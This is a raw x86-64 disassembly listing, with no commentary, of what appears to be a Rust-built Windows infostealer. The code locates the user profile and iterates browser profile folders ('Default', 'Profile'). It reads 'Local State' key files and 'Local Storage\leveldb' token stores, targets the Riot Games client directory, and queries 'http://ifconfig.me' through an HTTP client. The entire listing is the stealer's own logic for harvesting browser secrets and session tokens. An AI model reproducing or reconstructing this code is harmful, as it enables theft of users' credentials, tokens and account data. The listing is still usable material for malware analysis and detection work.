mov rcx, r14
mov rdx, rsi
call fcn.140002c33
test rax, rax
je 0x140018067
mov qword [rsp + 0xf0], rdi
mov qword [rsp + 0xf8], rbp
mov qword [rsp + 0x100], rax
mov qword [rsp + 0x108], rdx
lea rsi, [rsp + 0x290]
mov rcx, rsi
lea rdx, [rsp + 0xf0]
lea r8, [rsp + 0x110]
call fcn.1400068e1
mov rcx, r15
mov rdx, rsi
mov r8, qword [rsp + 0x48]
mov r9, qword [rsp + 0x50]
call fcn.1400187c6
mov rax, qword [rsp + 0xcf8]
movups xmm0, xmmword [r12 + 0x40]
movups xmm1, xmmword [r12 + 0x50]
movaps xmmword [rsp + 0x290], xmm0
movaps xmmword [rsp + 0x2a0], xmm1
mov rcx, qword [r12 + 0x60]
mov qword [rsp + 0x2b0], rcx
mov ecx, 9
lea rdi, [rsp + 0x1200]
mov rsi, r15
rep movsq qword [rdi], qword [rsi]
movdqu xmm0, xmmword [r12 + 0x68]
movups xmm1, xmmword [r12 + 0x78]
movups xmm2, xmmword [r12 + 0x88]
movaps xmmword [rsp + 0x260], xmm2
movaps xmmword [rsp + 0x250], xmm1
movdqa xmmword [rsp + 0x240], xmm0
test rax, rax
movabs rsi, 0x8000000000000000
je 0x140011853
mov qword [rsp + 0xfa0], rax
mov rax, qword [rsp + 0x2b0]
lea rcx, [rsp + 0xfa8]
mov qword [rcx + 0x20], rax
movdqa xmm0, xmmword [rsp + 0x290]
movaps xmm1, xmmword [rsp + 0x2a0]
movups xmmword [rcx + 0x10], xmm1
movdqu xmmword [rcx], xmm0
lea rcx, [rsp + 0x790]
lea rdx, [rsp + 0xfa0]
call fcn.140006c7c
cmp qword [rsp + 0x1200], rsi
jne 0x140011887
cmp qword [rsp + 0x240], 0
mov rbp, rbx
je 0x14001186e
lea rcx, [rsp + 0x240]
call fcn.140005540
cmp qword [rsp + 0x1200], rsi
je 0x1400118bf
lea rcx, [rsp + 0x1200]
call fcn.140005728
jmp 0x1400118bf
lea rcx, [rsp + 0x7a8]
lea rdx, [rsp + 0x1200]
call fcn.140006cca
cmp qword [rsp + 0x240], 0
mov rbp, rbx
je 0x1400118bf
lea rcx, [rsp + 0x378]
lea rdx, [rsp + 0x240]
call fcn.140006c7c
mov rcx, qword [rsp + 0x210]
mov rdx, r14
call fcn.140173443
jmp 0x140011626
lea rcx, [rsp + 0x7c0]
call fcn.1400057f1
mov rcx, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x48]
call fcn.140173443
lea rbx, [rsp + 0x430]
jmp 0x1400114fd
mov rcx, qword [rsp + 0xb0]
mov rax, qword [rsp + 0xb8]
lea rdx, [rcx + rax]
inc rdx
movdqa xmm0, xmmword [rcx]
pmovmskb eax, xmm0
not eax
lea r9, [rcx + 0x10]
mov r8, qword [rsp + 0xc8]
lea rbx, [rsp + 0xcb0]
mov qword [rsp + 0x88], rcx
mov qword [rbx], rcx
mov qword [rsp + 0x98], r9
mov qword [rbx + 8], r9
mov qword [rsp + 0x60], rdx
mov qword [rbx + 0x10], rdx
mov word [rbx + 0x18], ax
mov qword [rsp + 0x80], r8
mov qword [rbx + 0x20], r8
lea r14, [rsp + 0x7c0]
lea r12, [rsp + 0x4e0]
mov rcx, rbx
call fcn.14000146e
test rax, rax
je 0x140011c27
mov rsi, rax
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
mov rcx, r14
call fcn.140001f96
mov edi, dword [rsp + 0x7c0]
mov rcx, r14
call fcn.1400065eb
cmp edi, 2
je 0x140011972
mov rdx, qword [rsi + 8]
mov r8, qword [rsi + 0x10]
mov rcx, r14
call fcn.140008653
mov r13, qword [rsp + 0x7c8]
mov r8, qword [rsp + 0x7d0]
mov qword [rsp + 0x20], 0xb
mov rcx, r12
mov rdx, r13
lea r9, str.Local_State
call fcn.140156990
mov rbx, qword [rsp + 0x4e8]
mov r8, qword [rsp + 0x4f0]
lea rcx, [rsp + 0xf0]
mov rdx, rbx
call fcn.14000c882
mov r15, qword [rsp + 0xf0]
movabs rdi, 0x8000000000000000
cmp r15, rdi
je 0x1400121f3
mov rbp, qword [rsp + 0xf8]
mov rdi, qword [rsp + 0x100]
mov rcx, qword [rsp + 0x4e0]
mov rdx, rbx
call fcn.140173443
mov rcx, qword [rsp + 0x7c0]
mov rdx, r13
call fcn.140173443
and qword [rsp + 0x4e0], 0
mov qword [rsp + 0x4e8], 1
and qword [rsp + 0x4f0], 0
mov qword [rsp + 0x210], rsi
mov byte [rsp + 0x4f8], 1
xor esi, esi
cmp rsi, 8
je 0x140011aa4
mov rax, qword [rsp + rsi + 0x210]
add rsi, 8
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
mov rcx, r12
call fcn.140153ed0
jmp 0x140011a80
movups xmm0, xmmword [rsp + 0x4e0]
movups xmm1, xmmword [rsp + 0x4f0]
movaps xmmword [rsp + 0x100], xmm1
movaps xmmword [rsp + 0xf0], xmm0
mov rcx, r14
lea rdx, [rsp + 0xf0]
mov r8, rbp
mov r9, rdi
call fcn.1400187c6
mov rax, qword [rsp + 0x808]
lea rdx, [rsp + 0x810]
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movaps xmmword [rsp + 0x4e0], xmm0
movaps xmmword [rsp + 0x4f0], xmm1
mov rcx, qword [rdx + 0x20]
mov qword [rsp + 0x500], rcx
mov ecx, 9
lea rdi, [rsp + 0x1248]
mov rsi, r14
rep movsq qword [rdi], qword [rsi]
movdqu xmm0, xmmword [rdx + 0x28]
movups xmm1, xmmword [rdx + 0x38]
movups xmm2, xmmword [rdx + 0x48]
movaps xmmword [rsp + 0x450], xmm2
movaps xmmword [rsp + 0x440], xmm1
movdqa xmmword [rsp + 0x430], xmm0
test rax, rax
movabs rsi, 0x8000000000000000
je 0x140011ba9
mov qword [rsp + 0x290], rax
mov rax, qword [rsp + 0x500]
lea rcx, [rsp + 0x298]
mov qword [rcx + 0x20], rax
movdqa xmm0, xmmword [rsp + 0x4e0]
movaps xmm1, xmmword [rsp + 0x4f0]
movups xmmword [rcx + 0x10], xmm1
movdqu xmmword [rcx], xmm0
lea rcx, [rsp + 0x790]
lea rdx, [rsp + 0x290]
call fcn.140006c7c
cmp qword [rsp + 0x1248], rsi
jne 0x140011bda
cmp qword [rsp + 0x430], 0
je 0x140011bc1
lea rcx, [rsp + 0x430]
call fcn.140005540
cmp qword [rsp + 0x1248], rsi
je 0x140011c0f
lea rcx, [rsp + 0x1248]
call fcn.140005728
jmp 0x140011c0f
lea rcx, [rsp + 0x7a8]
lea rdx, [rsp + 0x1248]
call fcn.140006cca
cmp qword [rsp + 0x430], 0
je 0x140011c0f
lea rcx, [rsp + 0x378]
lea rdx, [rsp + 0x430]
call fcn.140006c7c
mov rcx, r15
mov rdx, rbp
call fcn.140173443
lea rbx, [rsp + 0xcb0]
jmp 0x140011972
mov rcx, qword [rsp + 0x78]
movdqa xmm0, xmmword [rcx]
pmovmskb eax, xmm0
not eax
lea r14, [rsp + 0xf0]
mov qword [r14], rcx
mov rcx, qword [rsp + 0xa8]
mov qword [r14 + 8], rcx
mov rcx, qword [rsp + 0xa0]
mov qword [r14 + 0x10], rcx
mov word [r14 + 0x18], ax
mov rax, qword [rsp + 0x70]
mov qword [r14 + 0x20], rax
lea r13, [rsp + 0x4e0]
lea rsi, [rsp + 0xcb0]
lea rbx, [rsp + 0x120]
mov rcx, r14
call fcn.14000146e
test rax, rax
je 0x140011feb
mov r15, rax
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
lea r12, [rsp + 0x7c0]
mov rcx, r12
call fcn.140001f96
mov edi, dword [rsp + 0x7c0]
mov rcx, r12
call fcn.1400065eb
cmp edi, 2
je 0x140011c7f
mov rdx, qword [r15 + 8]
mov r8, qword [r15 + 0x10]
lea rcx, [rsp + 0x7c0]
call fcn.140008653
mov r14, qword [rsp + 0x7c8]
mov r8, qword [rsp + 0x7d0]
mov qword [rsp + 0x20], 0xb
mov rcx, r13
mov rdx, r14
lea r9, str.Local_State
call fcn.140156990
mov r12, qword [rsp + 0x4e8]
mov r8, qword [rsp + 0x4f0]
mov rcx, rsi
mov rdx, r12
call fcn.14000c882
mov rax, qword [rsp + 0xcb0]
movabs rdi, 0x8000000000000000
cmp rax, rdi
je 0x140012276
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0xcb8]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0xcc0]
mov qword [rsp + 0x50], rax
mov rcx, qword [rsp + 0x4e0]
mov rdx, r12
call fcn.140173443
mov rcx, qword [rsp + 0x7c0]
mov rdx, r14
call fcn.140173443
mov rdx, qword [r15 + 8]
mov r8, qword [r15 + 0x10]
mov rcx, r13
call fcn.140001fd7
cmp dword [rsp + 0x4f0], 2
je 0x14001829a
mov r8d, 0x268
lea rcx, [rsp + 0x7c0]
mov rdx, r13
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
mov rcx, r13
lea rdx, [rsp + 0x7c0]
call fcn.1401539e0
test byte [rsp + 0x4e0], 1
je 0x140011f97
mov rcx, qword [rsp + 0x4e8]
mov rax, qword [rsp + 0x4f0]
test rcx, rcx
je 0x14001807f
mov qword [rsp + 0xcb0], rcx
mov qword [rsp + 0xcb8], rax
mov r8d, 0x248
lea rcx, [rsp + 0xcc0]
lea rdx, [rsp + 0x4f8]
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
lea rcx, [rsp + 0x150]
mov rdx, rsi
call fcn.140153db0
mov rcx, rsi
call fcn.140006446
mov r14, qword [rsp + 0x158]
mov r12, qword [rsp + 0x160]
mov rcx, r14
mov rdx, r12
call fcn.140002c33
test rax, rax
je 0x1400180ae
mov r9d, 7
mov rcx, rax
lea r8, str.Profile
call fcn.140019b1a
test al, al
jne 0x140011e90
mov rcx, r14
mov rdx, r12
call fcn.140002c33
test rax, rax
je 0x1400180c6
mov r9d, 7
mov rcx, rax
lea r8, str.Default
call fcn.140101d76
test al, al
je 0x140011f82
mov rdi, rbx
mov rbx, qword [r15 + 8]
mov rbp, qword [r15 + 0x10]
mov rcx, r14
mov rdx, r12
call fcn.140002c33
test rax, rax
je 0x1400180ba
mov qword [rsp + 0xcb0], rbx
mov qword [rsp + 0xcb8], rbp
mov qword [rsp + 0xcc0], rax
mov qword [rsp + 0xcc8], rdx
lea rax, str.Local_Storageleveldb
mov qword [rsp + 0xcd0], rax
mov qword [rsp + 0xcd8], 0xd
lea rax, [0x140240e25]
mov qword [rsp + 0xce0], rax
mov qword [rsp + 0xce8], 7
lea rcx, [rsp + 0x210]
mov rdx, rsi
lea r8, [rsp + 0xcf0]
call fcn.1400068e1
mov r12, qword [rsp + 0x218]
mov r8, qword [rsp + 0x220]
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x20], rax
mov byte [rsp + 0x28], 0
mov rbx, rdi
mov rcx, rdi
mov rdx, r12
mov r9, qword [rsp + 0x48]
call fcn.14000dc97
mov rcx, qword [rsp + 0x210]
mov rdx, r12
call fcn.140173443
cmp qword [rsp + 0x130], 0
jne 0x140011f7a
lea rcx, [rsp + 0x400]
mov rdx, rbx
call fcn.140006d51
mov rcx, rbx
call fcn.14000647b
mov rcx, qword [rsp + 0x150]
mov rdx, r14
call fcn.140173443
jmp 0x140011da8
lea rcx, [rsp + 0x7c0]
call fcn.1400057f1
mov rcx, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x48]
call fcn.140173443
lea r14, [rsp + 0xf0]
jmp 0x140011c7f
mov qword [rsp + 0x1170], rax
mov rcx, qword [rsp + 0x4e0]
mov rdx, rdi
mov rdi, rax
call fcn.140173443
mov rcx, qword [rsp + 0x7c0]
mov rdx, rsi
jmp 0x1400122ae
mov rcx, qword [rsp + 0x88]
movdqa xmm0, xmmword [rcx]
pmovmskb eax, xmm0
not eax
lea rsi, [rsp + 0x4e0]
mov qword [rsi], rcx
mov rcx, qword [rsp + 0x98]
mov qword [rsi + 8], rcx
mov rcx, qword [rsp + 0x60]
mov qword [rsi + 0x10], rcx
mov word [rsi + 0x18], ax
mov rax, qword [rsp + 0x80]
mov qword [rsi + 0x20], rax
lea r12, [rsp + 0x7c0]
lea rbx, [rsp + 0xcb0]
mov rcx, rsi
call fcn.14000146e
test rax, rax
je 0x14001221b
mov rbp, rax
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
mov rcx, r12
call fcn.140001f96
mov edi, dword [rsp + 0x7c0]
mov rcx, r12
call fcn.1400065eb
cmp edi, 2
je 0x14001203d
mov rdx, qword [rbp + 8]
mov r8, qword [rbp + 0x10]
mov rcx, r12
call fcn.140008653
mov r14, qword [rsp + 0x7c8]
mov r8, qword [rsp + 0x7d0]
mov qword [rsp + 0x20], 0xb
mov rcx, rbx
mov rdx, r14
lea r9, str.Local_State
call fcn.140156990
mov r15, qword [rsp + 0xcb8]
mov r8, qword [rsp + 0xcc0]
lea rcx, [rsp + 0xf0]
mov rdx, r15
call fcn.14000c882
mov r13, qword [rsp + 0xf0]
movabs rdi, 0x8000000000000000
cmp r13, rdi
je 0x14001228b
mov rdi, qword [rsp + 0xf8]
mov rsi, qword [rsp + 0x100]
mov rcx, qword [rsp + 0xcb0]
mov rdx, r15
call fcn.140173443
mov rcx, qword [rsp + 0x7c0]
mov rdx, r14
call fcn.140173443
movdqu xmm0, xmmword [rbp + 8]
movdqu xmmword [rsp + 0x7c0], xmm0
lea rax, str.Local_Storageleveldb
mov qword [rsp + 0x7d0], rax
mov qword [rsp + 0x7d8], 0xd
lea rax, [0x140240e25]
mov qword [rsp + 0x7e0], rax
mov qword [rsp + 0x7e8], 7
mov rcx, rbx
mov rbp, r12
mov rdx, r12
lea r8, [rsp + 0x7f0]
call fcn.1400068e1
mov r14, qword [rsp + 0xcb8]
mov r8, qword [rsp + 0xcc0]
mov qword [rsp + 0x20], rsi
lea rsi, [rsp + 0xf0]
mov byte [rsp + 0x28], 0
mov rcx, rsi
mov rdx, r14
mov r9, rdi
call fcn.14000dc97
mov rcx, qword [rsp + 0xcb0]
mov rdx, r14
call fcn.140173443
cmp qword [rsp + 0x100], 0
je 0x1400121d0
lea rcx, [rsp + 0x400]
mov rdx, rsi
call fcn.140006d51
mov rcx, rsi
call fcn.14000647b
mov rcx, r13
mov rdx, rdi
call fcn.140173443
lea rsi, [rsp + 0x4e0]
mov r12, rbp
jmp 0x14001203d
mov qword [rsp + 0x1170], rdi
mov rcx, qword [rsp + 0x4e0]
mov rdx, rbx
call fcn.140173443
mov rcx, qword [rsp + 0x7c0]
mov rdx, r13
jmp 0x1400122ae
mov r14, qword [rsp + 0xbc0]
mov rax, qword [rsp + 0xbc8]
mov rdi, qword [rsp + 0xbd8]
lea rsi, [rax + 1]
movdqa xmm8, xmmword [r14]
test rax, rax
je 0x1400170db
lea rbx, [rsp + 0x7c0]
mov edx, 0x30
mov r8d, 0x10
mov rcx, rbx
mov r9, rsi
call fcn.14000bc8c
mov rax, qword [rbx]
mov rcx, qword [rbx + 8]
mov rdx, r14
sub rdx, qword [rbx + 0x10]
jmp 0x1400170dd
mov qword [rsp + 0x1170], rdi
mov rcx, qword [rsp + 0x4e0]
mov rdx, r12
jmp 0x14001229e
mov qword [rsp + 0x1170], rdi
mov rcx, qword [rsp + 0xcb0]
mov rdx, r15
call fcn.140173443
mov rcx, qword [rsp + 0x7c0]
mov rdx, r14
call fcn.140173443
lea rcx, [rsp + 0xbc0]
call fcn.140004e63
lea rcx, [rsp + 0x750]
call fcn.140004e63
lea rcx, [rsp + 0xb0]
call fcn.140004e63
lea rcx, [rsp + 0x400]
call fcn.14000647b
mov rsi, qword [rsp + 0x380]
mov rdx, qword [rsp + 0x388]
mov rcx, rsi
call fcn.1400056f0
mov rcx, qword [rsp + 0x378]
mov rdx, rsi
call fcn.140005717
lea rcx, [rsp + 0x7a8]
call fcn.140005770
lea rcx, [rsp + 0x790]
call fcn.140005418
lea rdx, [0x140240f37]
lea rcx, [rsp + 0x750]
mov r8d, 0x1c
call fcn.14015a470
lea rdx, str.HOMEUSERPROFILE
lea rsi, [rsp + 0x7c0]
mov r8d, 4
mov rcx, rsi
call fcn.140151b60
cmp qword [rsi], rdi
jne 0x140012381
lea rdx, [0x140310ab4]
lea rcx, [rsp + 0x4e0]
mov r8d, 0xb
call fcn.140151b60
jmp 0x1400123a3
movdqu xmm0, xmmword [rsp + 0x7c0]
movups xmm1, xmmword [rsp + 0x7d0]
movaps xmmword [rsp + 0x4f0], xmm1
movdqa xmmword [rsp + 0x4e0], xmm0
mov rdi, qword [rsp + 0x4e0]
movabs rax, 0x8000000000000000
cmp rdi, rax
jne 0x14001254e
lea rax, [rsp + 0xcb0]
and qword [rax], 0
mov qword [rax + 8], 2
and qword [rax + 0x10], 0
mov r8d, 0x200
mov ebp, 2
xor esi, esi
mov r13d, 0xffffffff
xor edi, edi
xor r15d, r15d
cmp r8, 0x201
jae 0x14001240a
mov ebx, 0x200
lea r12, [rsp + 0x7c0]
mov r14, r8
jmp 0x140012465
sub r8, r15
sub rdi, r15
cmp rdi, r8
jae 0x140012444
mov qword [rsp + 0x20], 2
mov r9d, 2
lea rcx, [rsp + 0xcb0]
mov rdx, r15
call fcn.1401348a0
mov rsi, qword [rsp + 0xcb0]
mov rbp, qword [rsp + 0xcb8]
cmp rsi, r13
mov r15d, 0xffffffff
cmovb r15, rsi
mov qword [rsp + 0xcc0], r15
mov rdi, rsi
mov rbx, r15
mov r12, rbp
mov r14, r15
xor ecx, ecx
call sub.kernel32.dll_SetLastError
mov dword [rsp + 0x4e0], r14d
mov rcx, 0xfffffffffffffffc
mov rdx, r12
lea r8, [rsp + 0x4e0]
call sub.userenv.dll_GetUserProfileDirectoryW
test eax, eax
je 0x14001249a
mov ecx, dword [rsp + 0x4e0]
dec ecx
jmp 0x1400124ab
call sub.kernel32.dll_GetLastError
cmp eax, 0x7a
jne 0x1400124af
mov ecx, dword [rsp + 0x4e0]
test ecx, ecx
jne 0x1400124be
call sub.kernel32.dll_GetLastError
xor ecx, ecx
test eax, eax
jne 0x140018195
mov r8d, ecx
cmp r14, r8
jne 0x1400124e6
call sub.kernel32.dll_GetLastError
cmp eax, 0x7a
jne 0x140018178
add r14, r14
cmp r14, r13
cmovae r14, r13
mov r8, r14
jmp 0x1400123ef
jb 0x1400123ef
cmp rbx, r8
jb 0x14001861f
lea rcx, [rsp + 0x4e0]
mov rdx, r12
call fcn.1401333a0
mov rdi, qword [rsp + 0x4e0]
mov rsi, qword [rsp + 0x4e8]
mov rbx, qword [rsp + 0x4f0]
cmp qword [rsp + 0xcb0], 0
je 0x14001253a
mov rcx, qword [rsp + 0xcb8]
mov edx, 2
call fcn.140019a50
movabs rax, 0x8000000000000000
cmp rdi, rax
jne 0x14001255e
jmp 0x1400181c1
mov rsi, qword [rsp + 0x4e8]
mov rbx, qword [rsp + 0x4f0]
mov rcx, rsi
mov rdx, rbx
call fcn.140002c33
test rax, rax
je 0x140018526
lea r8, [rsp + 0x820]
mov qword [r8 - 0x60], rax
mov qword [r8 - 0x58], rdx
lea rax, str.AppDataLocalRiot_GamesRiot_Clienthttp:__ifconfig.me
mov qword [r8 - 0x50], rax
mov qword [r8 - 0x48], 7
lea rax, [0x140240f8f]
mov qword [r8 - 0x40], rax
mov qword [r8 - 0x38], 5
lea rax, [0x140240f94]
mov qword [r8 - 0x30], rax
mov qword [r8 - 0x28], 0xa
lea rax, [0x140240f9e]
mov qword [r8 - 0x20], rax
mov qword [r8 - 0x18], 0xb
lea rax, [0x14030a48e]
mov qword [r8 - 0x10], rax
mov qword [r8 - 8], 4
lea rcx, [rsp + 0xbc0]
lea rdx, [rsp + 0x7c0]
call fcn.1400068e1
mov rcx, rdi
mov rdx, rsi
call fcn.140173443
lea rsi, [rsp + 0x7c0]
mov edx, 2
mov rcx, rsi
call fcn.14005ef20
cmp dword [rsi], 3
je 0x140018532
lea rbx, [rsp + 0x4e0]
lea rsi, [rsp + 0x7c0]
mov ecx, 0xc
mov rdi, rbx
rep movsq qword [rdi], qword [rsi]
lea rdx, [0x14030b710]
lea r14, [rsp + 0x7c0]
mov r8d, 3
mov rcx, r14
call fcn.1400f472b
pxor xmm8, xmm8
lea r8, [rsp + 0x430]
movdqa xmmword [r8 + 0x10], xmm8
movdqa xmmword [r8], xmm8
lea rsi, [rsp + 0x180]
mov rcx, rsi
mov rdx, rbx
mov r9, r14
call fcn.140066816
mov rcx, rsi
call fcn.1400e008c
lea rdi, [rsp + 0xcb0]
mov ecx, 0xc
mov rsi, rbx
rep movsq qword [rdi], qword [rsi]
lea rcx, [0x14005a7a9]
call fcn.14005e54a
mov r15, rax
mov r13, rdx
movups xmmword [r14 + 4], xmm6
movups xmmword [r14 + 0x14], xmm7
movups xmm0, xmmword [r14]
movaps xmmword [rsp + 0x290], xmm0
movups xmm0, xmmword [r14 + 0x10]
movaps xmmword [rsp + 0x2a0], xmm0
mov eax, dword [r14 + 0x20]
mov dword [rsp + 0x2b0], eax
xor ecx, ecx
call fcn.1400dd070
mov rsi, rax
movdqu xmmword [r14 + 6], xmm8
mov rax, qword [r14 + 0xe]
mov qword [rbx + 0xe], rax
movups xmm0, xmmword [r14]
movaps xmmword [rbx], xmm0
mov ecx, 0x200
mov edx, pe_nt_image_headers64
call fcn.1400da79b
mov r12, rax
mov edi, 1
mov qword [rax], rdi
mov qword [rax + 8], rdi
mov qword [rax + 0x80], rsi
and qword [rax + 0x88], 0
and qword [rax + 0x180], 0
and word [rax + 0x188], 0
movdqa xmmword [rax + 0x100], xmm8
and qword [rax + 0x110], 0
movdqa xmm0, xmmword [rbx]
movdqu xmmword [rax + 0x18a], xmm0
mov rax, qword [rbx + 0xe]
mov qword [r12 + 0x198], rax
mov qword [r12 + 0x1a0], rsi
mov qword [r12 + 0x1a8], rsi
and qword [r12 + 0x1b0], 0
mov byte [r12 + 0x1b8], 0
and qword [r12 + 0x1c0], 0
mov qword [r12 + 0x1c8], rdi
and qword [r12 + 0x1d0], 0
lock inc qword [r12]
jle case.0x14001302c.2
mov qword [rsp + 0x48], r13
mov qword [rsp + 0xc98], r12
mov ecx, 0x48
mov edx, 8
call fcn.1400da79b
mov qword [rax], rdi
mov qword [rax + 8], rdi
and qword [rax + 0x10], 0
and qword [rax + 0x40], 0
lock inc qword [rax]
jle case.0x14001302c.2
mov r14, rax
mov qword [rsp + 0xbf8], rax
lea rsi, [rsp + 0x7c0]
movabs rax, 0x8000000000000000
mov qword [rsi + 0x10], rax
and qword [rsi], 0
lea rdx, str.reqwest_internal_sync_runtime
lea r13, [rsp + 0x180]
mov r8d, 0x1d
mov rcx, r13
call fcn.1400dc74c
lea rbx, [rsp + 0x4e0]
mov rcx, rbx
mov rdx, rsi
mov r8, r13
call fcn.140131680
lea rdi, [rsp + 0x7c0]
lea rsi, [rsp + 0xcb0]
mov ecx, 0xc
rep movsq qword [rdi], qword [rsi]
pxor xmm0, xmm0
movdqa xmmword [rsp + 0xf0], xmm0
mov rax, qword [rsp + 0x390]
mov qword [rsp + 0x270], rax
mov eax, dword [rsp + 0x398]
mov dword [rsp + 0x278], eax
mov rax, qword [rsp + 0x4c8]
mov qword [rsp + 0x3a8], rax
mov eax, dword [rsp + 0x4d0]
mov dword [rsp + 0x3b0], eax
mov rax, qword [rsp + 0xc58]
mov qword [rsp + 0x3e0], rax
mov eax, dword [rsp + 0xc60]
mov dword [rsp + 0x3e8], eax
mov rax, qword [rsp + 0xc40]
mov qword [rsp + 0x3c0], rax
mov eax, dword [rsp + 0xc48]
mov dword [rsp + 0x3c8], eax
mov eax, dword [rsp + 0xc30]
mov dword [rsp + 0x420], eax
mov rax, qword [rsp + 0xc28]
mov qword [rsp + 0x418], rax
mov eax, dword [rsp + 0x2b0]
mov dword [r13 + 0x20], eax
movaps xmm1, xmmword [rsp + 0x290]
movaps xmm2, xmmword [rsp + 0x2a0]
movaps xmmword [r13 + 0x10], xmm2
movaps xmmword [r13], xmm1
movdqa xmmword [rsp + 0x210], xmm0
movups xmm0, xmmword [rsp + 0x120]
movaps xmmword [rsp + 0x150], xmm0
movzx eax, word [rsp + 0x378]
mov word [rsp + 0x400], ax
mov al, byte [rsp + 0x37a]
mov byte [rsp + 0x402], al
mov rbp, qword [rbx + 0x10]
movdqu xmm0, xmmword [rbx + 0x18]
movdqa xmmword [rsp + 0xb0], xmm0
test byte [rbx], 1
je 0x140012973
mov r13, qword [rsp + 0x4e8]
jmp 0x140012986
mov r13, qword [0x140354180]
test r13, r13
je 0x140012db2
dec r13
movabs rdi, 0x8000000000000000
call fcn.140132390
cmp rbp, rdi
jne 0x1400129a4
mov rcx, rax
call fcn.140132640
jmp 0x1400129c5
lea rdx, [rsp + 0x240]
mov qword [rdx], rbp
movdqa xmm0, xmmword [rsp + 0xb0]
movdqu xmmword [rdx + 8], xmm0
mov rcx, rax
call fcn.140132500
mov rbp, rax
mov qword [rsp + 0xc10], rax
lock inc qword [rax]
jle case.0x14001302c.2
mov ecx, 0x30
mov edx, 8
call fcn.1400da79b
mov rbx, rax
mov eax, 1
mov qword [rbx], rax
mov qword [rbx + 8], rax
pxor xmm0, xmm0
movdqu xmmword [rbx + 0x10], xmm0
mov qword [rsp + 0xfa0], rbx
lock inc qword [rbx]
jle case.0x14001302c.2
xor ecx, ecx
call fcn.1401559b0
mov rsi, rax
test rax, rax
mov qword [rsp + 0x50], r13
je 0x140012a36
lock inc qword [rsi]
jle case.0x14001302c.2
mov rcx, rsi
jmp 0x140012a38
xor ecx, ecx
call fcn.1401559b0
mov r13, r15
mov rdi, rbx
add rdi, 0x10
lea rcx, [rsp + 0x430]
mov qword [rcx], rax
call fcn.140121345
mov rcx, qword [rdi]
test rcx, rcx
je 0x140012a68
add rcx, 0x10
call fcn.140131580
mov r15d, 8
mov ecx, 0x1c0
mov edx, 8
call fcn.1400da79b
mov qword [rax], rbp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
lea rdi, [rax + 0x18]
lea rsi, [rsp + 0x7c0]
mov ecx, 0xc
rep movsq qword [rdi], qword [rsi]
mov qword [rax + 0x78], 1
mov qword [rax + 0x80], 0xa
pxor xmm0, xmm0
movdqu xmmword [rax + 0x88], xmm0
mov qword [rax + 0x98], r15
movaps xmm0, xmmword [rsp + 0xf0]
movups xmmword [rax + 0xa0], xmm0
mov qword [rax + 0xb0], r15
and qword [rax + 0xb8], 0
and dword [rax + 0xc0], 0
and dword [rax + 0xc8], 0
and dword [rax + 0xd0], 0
mov rcx, qword [rsp + 0x270]
mov qword [rax + 0xd4], rcx
mov ecx, dword [rsp + 0x278]
mov dword [rax + 0xdc], ecx
mov ecx, 0x3b9aca00
mov dword [rax + 0xe0], ecx
mov qword [rax + 0xe8], 0x5a
and dword [rax + 0xf0], 0
mov rdx, qword [rsp + 0x3a8]
mov qword [rax + 0xf4], rdx
mov edx, dword [rsp + 0x3b0]
mov dword [rax + 0xfc], edx
mov dword [rax + 0x100], ecx
mov edx, dword [rsp + 0x3e8]
mov dword [rax + 0x10c], edx
mov rdx, qword [rsp + 0x3e0]
mov qword [rax + 0x104], rdx
mov dword [rax + 0x110], ecx
mov edx, dword [rsp + 0x3c8]
mov dword [rax + 0x11c], edx
mov rdx, qword [rsp + 0x3c0]
mov qword [rax + 0x114], rdx
mov dword [rax + 0x120], ecx
mov edx, dword [rsp + 0x420]
mov dword [rax + 0x12c], edx
mov rdx, qword [rsp + 0x418]
mov qword [rax + 0x124], rdx
mov dword [rax + 0x130], ecx
mov ecx, dword [rsp + 0x1a0]
mov dword [rax + 0x154], ecx
movaps xmm0, xmmword [rsp + 0x180]
movaps xmm1, xmmword [rsp + 0x190]
movups xmmword [rax + 0x144], xmm1
movups xmmword [rax + 0x134], xmm0
mov qword [rax + 0x158], r13
mov rcx, qword [rsp + 0x48]
mov qword [rax + 0x160], rcx
or qword [rax + 0x168], 0xffffffffffffffff
movaps xmm0, xmmword [rsp + 0x210]
movups xmmword [rax + 0x170], xmm0
mov dword [rax + 0x188], 0x1000101
mov word [rax + 0x18c], 0x101
and qword [rax + 0x18e], 0
mov dword [rax + 0x196], 0x2000001
mov byte [rax + 0x19a], 2
movdqa xmm0, xmmword [rsp + 0x150]
movdqu xmmword [rax + 0x19b], xmm0
mov word [rax + 0x1ab], 0x404
mov cl, byte [rsp + 0x402]
mov byte [rax + 0x1af], cl
movzx ecx, word [rsp + 0x400]
mov word [rax + 0x1ad], cx
mov qword [rax + 0x1b0], r12
mov qword [rax + 0x1b8], r14
lea r8, [0x140307cc8]
mov rcx, qword [rsp + 0x50]
mov rdx, rax
call fcn.140156a60
mov rsi, rdx
test rax, rax
jne 0x14001855e
mov qword [rsp + 0xf30], rbp
mov qword [rsp + 0xf38], rbx
mov qword [rsp + 0xf40], rsi
call fcn.140131620
mov rcx, rax
call fcn.140121b2a
add rax, 0x10
lea r15, [0x140305f40]
lea rsi, [rsp + 0x4e0]
mov qword [rsi], r15
mov qword [rsi + 8], rax
mov qword [rsp + 0x180], r14
test r14, r14
je 0x140018113
mov rcx, rsi
call fcn.1400da9ca
mov ebx, eax
test bl, 1
jne 0x140012da0
mov edi, ebx
shr edi, 0x10
mov rax, qword [r14 + 0x40]
test al, 2
jne 0x140012df6
test al, 4
jne 0x14001814a
test al, 1
je 0x140012d37
mov rcx, qword [r14 + 0x38]
cmp rcx, qword [rsp + 0x4e8]
jne 0x140012d3d
mov rcx, qword [rsp + 0x4e0]
cmp qword [r14 + 0x30], rcx
jne 0x140012d3d
test al, 1
je 0x140012d63
jmp 0x140012d94
mov rax, qword [r14 + 0x40]
mov rcx, rax
and rcx, 0xfffffffffffffffe
lock cmpxchg qword [r14 + 0x40], rcx
jne 0x140012d41
test al, 2
jne 0x140012df0
mov rax, qword [r14 + 0x30]
